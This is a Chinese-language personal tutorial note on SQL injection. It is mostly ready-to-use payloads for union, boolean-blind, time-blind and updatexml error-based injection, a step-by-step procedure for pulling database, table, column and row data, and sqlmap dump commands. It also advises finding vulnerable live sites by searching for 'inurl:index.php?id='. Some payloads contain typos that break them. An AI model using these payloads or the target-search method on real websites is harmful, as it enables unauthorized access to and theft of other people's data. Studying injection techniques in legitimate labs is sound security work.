SQL-injection

  1. 1. SQL-INJECTION
    1. 1.1. 开始之前要知道以下内容:
    2. 1.2. 如何判断是否可以注入
    3. 1.3. 如何判断是什么数据库
    4. 1.4. 获取库名
    5. 1.5. 获取表名
    6. 1.6. 获取列名
    7. 1.7. 获取数据

SQL-INJECTION

仅用于学习与交流,请不要拿来做违法的事情。

这是以我的笔记来写的,更新中……

建议浏览器安装的插件:

Hackbar, HTTP header Live ,Omnibug , Tamper Data

在百度中搜索inurl:index.php?id= 等等的网站可能有SQL漏洞

开始之前要知道以下内容:

查找命令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
SHOW dtatbases;                   #列出数据库列表
SHOW tables; #显示指定数据库的所有表
SHOW columns from [Name]; #查看指定数据表的属性,属性类型,主键信息 ,是否NULL,默认值等其他信息
SHOW index from [Name]; # 显示数据表的详细索引信息,包括主键。


Select schema_name from information_schema.SCHEMATA; # 列出数据库列表

Select table_name from information_schema.tables where table_schema='库NAME' #显示指定数据库的所有表

Select column_name from information_schema.tables where table_schema='库NAME' and table_name='[Name]'
# 查看指定数据表的属性,属性类型,主键信息 ,是否NULL,默认值等其他信息

Select [你查到的列(有几个写几个)] from [表名]

填充语句:

SQL语句,[字段数],[字段数2],…… //查到几个写几个

SQL注释:

1
2
3
'#'
'-- '
'--+' //payload

多行数据变一行的查看命令:

1
2
3
4
5
6
# Limit 0,1,…..   //慢一点
# 将Select table_name ….. 改为 Select Select group_concat(XXXX_name) --+PS

Select group_concat(table_name) from information_schema.TABLES where TABLE_SCHEMA='库名' --+ //获取表名
Select group_concat(column_name) from information_schema.columns where TABLE_SCHEMA='库名' and tab_name='表名' --+ //获取列名
Select group_concat(schema_name) from information_schema.schemata --+//列出数据库

查询字段 order by [num]:

1
2
Select * from XXXX order by [num]
order by [num] #DO it
UNM = 自然数 1-9 等

在用户名输入order by [1 - X]可查询有几个字段

如果报错说明没有,如果没有报错说明有

截取字符

1
2
3
Select MID ('[被截取字符]',[从第几位截取],[截多少位]);
Select substr('[被截取字符]',[从第几位截取],[截多少位]); --+和上面一样
Select left('[被截取字符]',[截多少位]); --+Select left 为从左开始截取

转成ASCII

1
2
Select ORD('[被转字符]');
Select ASCII('[被转字符]');

判断语句

1
2
Select If([要判断的语句] ,[如果成立要执行的语句],[如果不成立要执行的语句] )

休眠

1
2
3
Select Sleep(秒);
--+PS:
Select IF(length(database())=8 , sleep(1) , 0)

Union拼接语句:

union可将两条SQL语句同时执行
1
Select * from XXXXX where user = '-1' union select database(), 1 # '

布尔盲注:

类似于-枚举

依靠猜字母来判断名称
最好写个脚本

猜到字符会有会有类似于"you are in……"的反馈。

时间盲注:

与布尔盲注类似,都是依靠猜字母来判断名称

猜到网页sleep(1)后刷新,猜错网页快速刷新

报错注入:

利用XML节点的语法报错信息进行注入

处理XML以外还有很多可以语句可以使用

ExtractValue 和 updatexml 用法基本一样例如:
1
Select extractValue('',concat('~',database())); 和 Select updatexml('',concat('~',database())); 

0x7e 是波浪号,这样可以区分一次性多拿取数据的位置。

1
?id=1' and updatexml(1,concat(0x7e,database(),0x7e,user(),0x7e,@@datadir),1) --+

闭合:

将SQL语句进行闭合
1
2
3
4
5
6
7
8
''
""
('')
#PS:写 -1 在user中是为了防止SQL语句的干扰,当然看情况也可以不写
Select * from XXXXX where user = ' -1 union select database(), 1 ' and password= ''# Run ERRAR

Select * from XXXXX where user = '-1' union select database(), 1 # 'and password=''# Run yse

SQLMAP基础使用

常用命令:

1
2
3
4
5
6
sqlmap -u ["URL"]
sqlmap -u ["URL"] --current-db //获取当前库名
sqlmap -u ["URL"] --level=5 --risk=3 --dbs //获取所有库名
sqlmap -u ["URL"] --level=5 --risk=3 --dbms=[数据库类型] -D "[库名]" --tables //获取某一个库的所有表名
sqlmap -u ["URL"] --level=5 --risk=3 --dbms=[数据库类型] -D "[库名]" -T "[表名]" --col //获取某一个库某一个表的所有列名
sqlmap -u ["URL"] --level=5 --risk=3 --dbms=[数据库类型] -D "[库名]" -T "[表名]" -C "[列名1],[列名2]" --dump //获取所有的数据

risk为风险系数,level为攻击等级 //慎重修改

大致过程

  1. 如何判断是否可以注入
  2. 如何判断是什么数据库
  3. 获取库名
  4. 获取表名
  5. 获取列名
  6. 获取数据

如何判断是否可以注入

在URL的后面加上?id=1' 或者 ?id=1' and 1=1 输入并回车,

然后输入?id=1’ and 1=2 再回车,查看是否有变化,如果有反馈而且变化一样,则使用时间盲注。

PS: HTTPS⑧行,HTTP彳亍

如何判断是什么数据库

在URL的后面加上?id=1'看报错是否是SQL一类的

或者使用sqlmap等工具,例如:
1
sqlmap - u [URL]

获取库名

开始前要查询字段有多少

一般查库:

1
http://[URL]?id=1' union select database() --+

布尔盲注:

1
2
3
?id=1' and ascii(substr(database(),[左开始第几位],[截多少位-默认1位-]))=[ASCII码32-126] --+ //查询第1—n+1位
?id=1' and ascii(left(database(),1))=[ASCII码32-126] --+ //一般查询第一位

时间盲注:

1
?id=1' and if(ascii(substr(database(),[左开始第几位],[截多少位-默认1位-]))=[ASCII码32-126], sleep(1) ,0) --+

报错注入:

1
?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+ //库名查询

SQLMAP工具查库:

1
sqlmap -u ["URL"] --current-db

获取表名

一般查表:

1
Select group_concat(table_name) from information_schema.TABLES where TABLE_SCHEMA='库名' --+

布尔盲注:

1
?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit [第几个表0—n+1],1),[左开始第几位字符],1))=[ASCII码32-126] --+

时间盲注:

1
?id=1' and if(ascii(substr(select table_name from information_schema.tables where table_schema=database() limit [第几个表0—n+1],1),[左开始第几位字符],1))=[ASCII码32-126], sleep(1) ,0) --+

报错注入:

1
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) --+ //查询所有的表

SQLMAP工具:

1
sqlmap -u ["URL"] --level=5 --risk=3 --dbsms=[什么数据库] -D "[库名]" --tables

获取列名

一般查列:

1
Select group_concat(column_name) from information_schema.columns where TABLE_SCHEMA='库名' and table_name='表名' --+

布尔盲注:

1
2
?id=1' and ascii(substr((select COLUMN_NAME from information_schema.COLUNS where TABLE_SCHEMA='[库名]' and TABLE_NAME='[表名]' limit  [第几个列0—n+1],1)[左开始第几位字符],1))=[ASCII码32-126] --+

时间盲注:

1
?id=1' and if(ascii(substr(select COLUMN_NAME from information_schema.COLUNS where TABLE_SCHEMA='[库名]' and TABLE_NAME='[表名]' limit  [第几个列0—n+1],1)[左开始第几位字符],1))=[ASCII码32-126], sleep(1) ,0) --+

报错注入:

1
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='库名' and table_name='表名'),0x7e),1) --+ //查询所有的列

SQLMAP工具:

1
sqlmap -u ["URL"] --level=5 --risk=3 --dbsms=[什么数据库] -D "[库名]" -T "[表名]" --col	//获取某一个库某一个表的所有列名

获取数据

一般获取数据:

1
Select [你查到的列(有几个写几个)] from [表名]

布尔盲注:

1
?id=1' and ORD(MIN((SELECT IFNULL(CAST([列名] AS CHAR),0x20)FROM [库名].[表名] ORDER BY id LIMIT [第几列0—n+1],1),[左开始第几位字符],1))=[ASCII码32-126] --+

时间盲注:

1
?id=1' and if(ORD(MIN((SELECT IFNULL(CAST([列名] AS CHAR),0x20)FROM [库名].[表名] ORDER BY id LIMIT [第几列0—n+1],1),[左开始第几位字符],1))=[ASCII码32-126], sleep(1) ,0) --+

报错注入:

1
?id=1' and updatexml(1,concat(0x7e,(Select [你查到的列的其中一个] from [表名]),0x7e),1) --+ //查询数据

SQLMAP工具:

1
sqlmap -u ["URL"] --level=5 --risk=3 --dbsms=[什么数据库] -D "[库名]" -T "[表名]" -C "[列名1],[列名2]" --dump